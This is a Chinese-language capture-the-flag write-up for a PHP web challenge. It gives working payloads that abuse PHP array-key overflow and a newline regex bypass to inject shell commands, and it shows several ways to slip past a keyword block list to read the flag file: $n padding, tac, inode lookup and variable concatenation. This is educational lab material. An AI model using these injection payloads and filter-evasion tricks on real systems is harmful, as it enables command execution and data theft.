题目描述

暂无

Solution

打开页面,阅读源码:

1.png

1、首先从 POST data 拿到stuff变量,比较stuffarray是否相等,并且stuff[0] != 'admin';这里直接比较肯定不行;PHP 数组的 Key 最大值是 232,当等于这个数是会溢出为 0;

基于此我们构造 Payload:

  1. stuff[4294967296]=admin&stuff[1]=user&num=123

2、从 POST data 拿到num变量,然后进行preg_match()正则匹配,返回 0 表示匹配失败,返回 1 表示匹配成功;

  • 第一个正则匹配:要num是一个或多个数字,忽略大小写;它开启了多行匹配,有绕过风险;
  • 第二个正则匹配:如果没有匹配到shwgetnc等等一系列字符,才会进入分支;

如果有多个模式串符合,preg_match()只会匹配一次。如果所有的if都满足条件,则会执行system("echo ".$num);,这里可以拼接字符串达到任意代码执行

我们更新 Payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0a ls /

2.png

由于flag被正则匹配过滤了,我们只能采用别的办法读取文件。

1、用 Shell 特殊字符绕过

Linux Shell 里$n表示传入脚本的第 n 个参数,当参数不存在时,$n为空字符串。

stuff[4294967296]=admin&stuff[1]=user&num=123%0a ca$9t /fla$9g

3.png

2、用tac逆序输出

当 cat 被过滤时可以用 tac 代替。结合 printf 写入文件实现文件读取:

printf /fla >> /tmp/banana
printf g >> /tmp/banana
tac `tac /tmp/banana`

3、用 inode 查找文件

Linux 下每个文件都有自己的 inode 值,使用 find 查找的时候可以按 inode 值查找:

ls -i /
tac `find / -inum 1835251`

4、利用环境变量拼接出命令

a=f;d=ag;c=l;tac /$a$c$d